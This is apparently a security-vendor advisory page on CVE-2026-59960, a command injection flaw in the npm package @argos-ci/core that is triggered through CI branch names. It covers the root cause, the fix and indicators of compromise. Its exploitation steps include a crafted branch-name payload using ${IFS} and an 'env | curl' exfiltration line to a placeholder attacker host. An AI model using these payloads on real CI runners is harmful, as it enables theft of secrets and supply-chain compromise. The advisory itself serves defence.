CVE-2026-59960
JavaScript vulnerability analysis and mitigation

Overview

CVE-2026-59960 is an OS Command Injection vulnerability (CWE-78) in the npm package @argos-ci/core, affecting all versions up to and including 6.2.0. The flaw allows an attacker who can influence a CI pipeline's branch or ref name — for example, by opening a pull request with a crafted branch name — to execute arbitrary shell commands on the CI runner. It was originally published on June 21, 2026 by maintainer gregberge and formally added to the GitHub Advisory Database on September 10, 2026. The vulnerability carries a CVSS v3.1 base score of 7.5 (High) (GitHub Advisory, Argos Advisory).

Technical details

The root cause is the use of Node.js execSync() with a template literal string in packages/core/src/ci-environment/git.ts (lines 87–90), which internally invokes /bin/sh -c "<command>". The attacker-controlled value originates from the GITHUB_HEAD_REF or ARGOS_BRANCH environment variable, which is read without sanitization in github-actions.ts:104, passed through config.ts:119-123 with only a String cast, and ultimately interpolated into the shell command string in gitFetch(). The injection is triggered only when the Argos API returns hasRemoteContentAccess: false (the default for projects without a connected Git provider), causing upload.ts:285 to call getMergeBaseCommitSha(), which invokes gitFetch() with the unsanitized ref. Secondary injectable sinks also exist in gitMergeBase(), listShas(), and listParentCommits(). A full PoC is publicly available in the advisory (GitHub Advisory, Argos Advisory).

Impact

Successful exploitation grants an attacker arbitrary OS command execution on the CI runner with the same privileges as the Argos upload process. This can result in full confidentiality, integrity, and availability compromise of the runner environment, including exfiltration of CI secrets (tokens, API keys, cloud credentials), supply-chain compromise of build artifacts, lateral movement within CI infrastructure, and complete takeover of the runner. The risk is highest in pull_request_target or other privileged CI workflow patterns where the workflow runs with repository secrets but also processes attacker-supplied branch names from forks (GitHub Advisory).

Exploitability

A detailed, functional PoC is publicly available as part of the official advisory, including a Dockerfile and Python script (poc.py) that demonstrate confirmed command execution via the ARGOS_BRANCH environment variable (GitHub Advisory). The vulnerability was reported by EQSTLab. No evidence of in-the-wild exploitation, threat actor attribution, EPSS score, or CISA KEV catalog listing is currently available. Exploitation requires low privileges (the ability to open a pull request or influence the branch name) and high attack complexity due to the hasRemoteContentAccess: false precondition.

Exploitation steps

  1. Identify a target: Find a CI pipeline that uses @argos-ci/core ≤ 6.2.0 (or @argos-ci/cli ≤ 5.1.0) and whose Argos project has hasRemoteContentAccess: false (the default for projects without a connected Git provider integration).
  2. Craft a malicious branch name: Create a git branch with a name containing shell metacharacters, such as main$(touch${IFS}/tmp/pwned). The ${IFS} trick bypasses naive space-based filters by expanding to a space character.
  3. Open a pull request: Submit a pull request from the malicious branch to the target repository. This causes the CI runner to set GITHUB_HEAD_REF (or ARGOS_BRANCH) to the attacker-controlled branch name.
  4. Trigger the vulnerable code path: When the CI pipeline runs argos upload, the SDK queries the Argos API for project configuration. If hasRemoteContentAccess: false is returned, getMergeBaseCommitSha() is called, which invokes gitFetch() with the unsanitized branch name.
  5. Achieve command execution: The branch name is interpolated into an execSync() template literal: execSync(`git fetch --force --update-head-ok --depth ${depth} origin ${input.ref}:${input.target}`). The shell evaluates $() before spawning git, executing the injected command on the CI runner with the process's privileges — before git even connects to the remote.
  6. Exfiltrate secrets or persist: Use the achieved shell access to read CI environment variables (e.g., env | curl -d @- https://attacker.com), tamper with build artifacts, or establish persistence on the runner (GitHub Advisory, Argos Advisory).

Indicators of compromise

  • Environment / Process: CI runner processes spawning unexpected child processes from the argos or node parent process (e.g., touch, curl, wget, bash, sh) during the argos upload step.
  • File System: Unexpected files created in /tmp/ or other writable directories during CI runs; presence of marker files or exfiltration scripts not part of the build process.
  • Logs: CI runner logs showing argos upload invocations where GITHUB_HEAD_REF or ARGOS_BRANCH contains shell metacharacters such as $(), backticks, or semicolons.
  • Network: Unexpected outbound network connections from the CI runner to external IPs or domains during the argos upload step, particularly during the git fetch phase.
  • CI Audit Logs: Pull requests opened from forks with branch names containing special characters like $(, `, ;, or ${IFS} (GitHub Advisory).

Mitigation and workarounds

Upgrade @argos-ci/core to version 6.2.1 or later, and @argos-ci/cli to version 5.1.1 or later. The fix (commit 8355f3a) replaces all four vulnerable execSync() template-literal calls (gitFetch, gitMergeBase, listShas, listParentCommits) with execFileSync() using argument arrays, which spawn git directly without invoking a shell, eliminating the injection surface entirely. As a temporary workaround where upgrading is not immediately possible, restrict CI workflows to avoid running argos upload on untrusted branch names from forks, or use GitHub Actions' pull_request event (instead of pull_request_target) to limit runner privileges (Argos Release, Fix Commit).

Additional resources


SourceThis report was generated using AI

Related JavaScript vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-88062CRITICAL9.5
  • JavaScript logoJavaScript
  • omniroute
NoNoSep 10, 2026
CVE-2026-61534CRITICAL9.1
  • JavaScript logoJavaScript
  • yayson
NoYesSep 11, 2026
CVE-2026-59973HIGH8.5
  • JavaScript logoJavaScript
  • @frontmcp/adapters
NoYesSep 11, 2026
CVE-2026-59960HIGH7.5
  • JavaScript logoJavaScript
  • @argos-ci/core
NoYesSep 10, 2026
CVE-2026-59965HIGH7.1
  • JavaScript logoJavaScript
  • @jhb.software/payload-alt-text-plugin
NoNoSep 10, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management